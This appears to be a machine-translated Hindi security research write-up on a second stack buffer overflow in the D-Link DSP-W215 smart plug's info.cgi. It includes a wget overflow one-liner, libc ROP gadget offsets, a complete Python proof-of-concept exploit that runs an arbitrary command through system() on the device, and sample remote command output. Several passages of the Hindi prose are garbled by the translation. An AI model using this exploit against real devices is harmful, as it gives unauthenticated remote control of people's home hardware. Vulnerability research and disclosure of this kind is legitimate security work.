हैक डी-लिंक डीएसपी-डब्ल्यू 2 15 स्मार्ट प्लग। बार-बार

यहां हम बार-बार हैं।





DSP-W215 के लिए अंतिम शोषण में , मैंने कहा कि get_input_entries फ़ंक्शन क्रैश नहीं होता है, आपको POST अनुरोध में "Storage_path" नाम का उपयोग करने की आवश्यकता है। यह इस तथ्य के कारण किया जाना था कि एक और बफर अतिप्रवाह है, इस बार get_input_entries फ़ंक्शन में, जो get_input_entries कॉल करता है यदि पैरामीटर पोस्ट का नाम "Storage_path" या "पथ" से अलग है:





एक तर्क को प्रतिस्थापित_स्पेशल_चर्च फ़ंक्शन - प्रोसिड POST मान के लिए एक संकेतक दिया जाता है:





यह फ़ंक्शन URL डिकोडिंग से संबंधित है:





URL को डीकोड करने के लिए, फ़ंक्शन को POST मान की स्ट्रिंग लंबाई मिलती है जो get_input_entries पास करती है:



post_value_length = strlen (post_data);



और यह post_value_length के सभी बाइट्स से गुजरता है:





प्रत्येक पुनरावृत्ति पर, फ़ंक्शन एक डिकोड (urldecoded) बाइट को संग्रहीत करता है, या, यदि डिकोडिंग की आवश्यकता नहीं होती है, तो स्टैक पर स्थानीय चर decode_buf में POST मान का मूल बाइट:





वास्तव में, यह ऐसा करता है:

void replace_special_char(char *post_data) { char decode_buf[0x258]; int post_value_length, i = 0, j = 0; memset(decode_buf, 0, sizeof(decode_buf)); post_value_length = strlen(post_data); while(i < post_value_length) { /* * ... * If post_data[i] == '%', then it's URL encoded; try to decode it here * (as long as the POST data isn't URL encoded, this code does nothing, * so it's not shown). * ... */ // No bounds checking on index j! decode_buf[j] = post_data[i]; j++; i++; } ... return; }
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

यदि हम प्रतिस्थापन_स्पेशल_चर्च स्टैक को देखते हैं, तो हम देखते हैं कि 612 बाइट्स से अधिक लंबे समय तक एक पोस्ट वैल्यू पूरे स्टैक को पहले रजिस्टर किए गए स्टोर ($ s0) से आगे निकल जाएगी, और एक और 36 बाइट्स संग्रहीत रिटर्न एड्रेस ($ ra) को ओवरफ्लो कर देगा।

 # Overflow $ra with 0x42424242 wget --post-data="foo=$(perl -e 'print "A"x648; print "B"x4')" http://192.168.0.60/common/info.cgi
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

$ ra = 0 × 42424242



इस तथ्य के कारण कि डिकोडिंग लूप, स्ट्रोड का उपयोग करता है ताकि डिकोडेब में कॉपी करने के लिए बाइट की आवश्यक संख्या निर्धारित की जा सके, हमें POST अनुरोध में NULL बाइट के उपयोग पर प्रतिबंध को याद रखना चाहिए। इसका मतलब यह है कि पिछले शोषण में हमने जो रिटर्न एड्रेस इस्तेमाल किया है, वह काम नहीं करेगा, क्योंकि इसके अनुरोध में NULL बाइट्स शामिल हैं, लेकिन हम समान प्रभाव को प्राप्त करने के लिए lib में ROP कर सकते हैं।



Libc के अंदर, ऑफसेट 0xBA50 में, एक गैजेट होता है जो स्टैक पर $ $ a1 ($ sp + 0xB8, सटीक होने के लिए) को इंगित करता है, और फिर कुछ पते पर कूदता है जो इसे रजिस्टर $ s1 से प्राप्त होता है:



पहला आरओपी गैजेट



यदि हम बफर ओवरफ्लो के दौरान 0 × 34640 के ऑफसेट के साथ एक पते के साथ $ s1 को फिर से लिखते हैं, तो प्रोग्राम अगले गैजेट पर कूद जाएगा, जो $ a0 में रजिस्टर $ a1 (फ़ंक्शन के पहले तर्क के साथ रजिस्टर) डाल देगा और फ़ंक्शन को कॉल करेगा जिसका पता $ s0:



दूसरा आरओपी गैजेट



इसलिए, हमने यह सुनिश्चित किया कि सिस्टम में $ s0 अंक () फ़ंक्शन (lib में 0x4BC80 पर ऑफसेट), जिसका अर्थ है कि हम सिस्टम () को स्टैक के लिए पॉइंटर के साथ कॉल कर सकते हैं:

 system($sp+0xB8);
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

सभी ऑफसेट में आधार libc एड्रेस (0x2AB61000) जोड़ने के बाद, हम अपनी भेद्यता के लिए PoC लिख सकते हैं और परीक्षण कर सकते हैं:

 #!/usr/bin/env python # Exploits overflow in replace_special_char. import sys import urllib2 try: target = sys.argv[1] command = sys.argv[2] except: print "Usage: %s <target> <command>" % sys.argv[0] sys.exit(1) url = "http://%s/common/info.cgi" % target buf = "foo=" # POST parameter name can be anything buf += "E" * 612 # Stack filler buf += "\x2A\xBA\xCC\x80" # $s0, address of system() buf += "\x2A\xB9\x56\x40" # $s1, address of ROP2 buf += "F" * 4 # $s2, don't care buf += "F" * 4 # $s3, address of ROP2 buf += "F" * 4 # $s4, don't care buf += "F" * 4 # $s5, address of ROP3 buf += "F" * 4 # $s6, don't care buf += "F" * 4 # $s7, don't care buf += "F" * 4 # $fp, don't care buf += "\x2A\xB6\xCA\x50" # $ra, address of ROP1 buf += "G" * 0xB8 # Stack filler buf += command # Command to execute req = urllib2.Request(url, buf) print urllib2.urlopen(req).read()
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

पहले की तरह, हम किसी भी कमांड को निष्पादित कर सकते हैं और प्रतिक्रिया प्राप्त कर सकते हैं:

 $ ./exploit2.py 192.168.0.60 'ls -l /' drwxr-xr-x 2 1000 1000 4096 May 16 09:01 bin drwxrwxr-x 3 1000 1000 4096 May 22 18:03 dev drwxrwxr-x 3 1000 1000 4096 Sep 3 2010 etc drwxrwxr-x 3 1000 1000 4096 May 16 09:01 lib drwxr-xr-x 3 1000 1000 4096 May 16 09:01 libexec lrwxrwxrwx 1 1000 1000 11 May 17 15:20 linuxrc -> bin/busybox drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 lost+found drwxrwxr-x 6 1000 1000 4096 May 17 15:15 mnt drwxr-xr-x 2 1000 1000 4096 May 16 09:01 mydlink drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 proc drwxrwxr-x 2 1000 1000 4096 May 17 17:23 root drwxr-xr-x 2 1000 1000 4096 May 16 09:01 sbin drwxrwxrwx 3 1000 1000 4096 May 22 19:18 tmp drwxrwxr-x 7 1000 1000 4096 May 16 09:01 usr drwxrwxr-x 3 1000 1000 4096 May 17 15:21 var -rw-r--r-- 1 1000 1000 17 May 16 09:01 version drwxrwxr-x 6 1000 1000 4096 May 22 17:15 www